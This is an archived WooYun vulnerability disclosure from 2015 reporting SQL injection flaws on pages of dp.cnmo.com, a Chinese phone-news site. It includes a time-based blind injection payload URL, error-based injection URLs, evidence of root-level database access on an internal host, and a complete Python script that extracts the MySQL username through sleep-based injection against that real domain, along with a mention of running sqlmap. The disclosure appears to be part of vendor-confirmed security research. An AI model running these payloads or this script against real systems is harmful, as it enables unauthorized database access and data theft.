当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133101

漏洞标题:手机中国某站存在SQL盲注

相关厂商:手机中国

漏洞作者: 星明月稀

提交时间:2015-08-10 16:13

修复时间:2015-09-24 17:16

公开时间:2015-09-24 17:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-10: 细节已通知厂商并且等待厂商处理中
2015-08-10: 厂商已经确认,细节仅向厂商公开
2015-08-20: 细节向核心白帽子及相关领域专家公开
2015-08-30: 细节向普通白帽子公开
2015-09-09: 细节向实习白帽子公开
2015-09-24: 细节向公众公开

简要描述:

手机中国某站存在SQL盲注

详细说明:

(1)时间盲注
http://dp.cnmo.com/hit_for_dp.php?pro_id=if(1,sleep(3),0)
(2)两处显错
http://dp.cnmo.com/rank_list.php?curstamp=1439074288&page=&status=1&type=1
http://dp.cnmo.com/single_rank.php?page=&type=9

显错2.png

漏洞证明:

猜解user():

root@192.168.50.39


root权限,内网

user.png


附脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import hashlib
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print '[%s] Start to retrive MySQL user' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 12):
found=False
while found==False:
for payload in payloads:
timeout_count = 0
for j in range(1,3): # 2 times to confirm
try:
conn = httplib.HTTPConnection('dp.cnmo.com', timeout=3)
conn.request(method='GET',
url = "/hit_for_dp.php?pro_id=if(ascii(mid(user(),%s,1))=%s,sleep(6),0)" % (i, ord(payload)),
headers=headers)
conn.getresponse().read()
conn.close()
print '.',
break
except Exception, e:
timeout_count += 1
time.sleep(0.01)
if timeout_count == 2:
user += payload
print '\n[In progress] now user is %s' % user
found = True
break

print '\nFinally, MySQL user is:', user


顺便sqlmap跑下,多库:

sqlmap.png


修复方案:

过滤或者转义

版权声明:转载请注明来源 星明月稀@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-08-10 17:15

厂商回复:

感谢,已经协调技术解决

最新状态:

暂无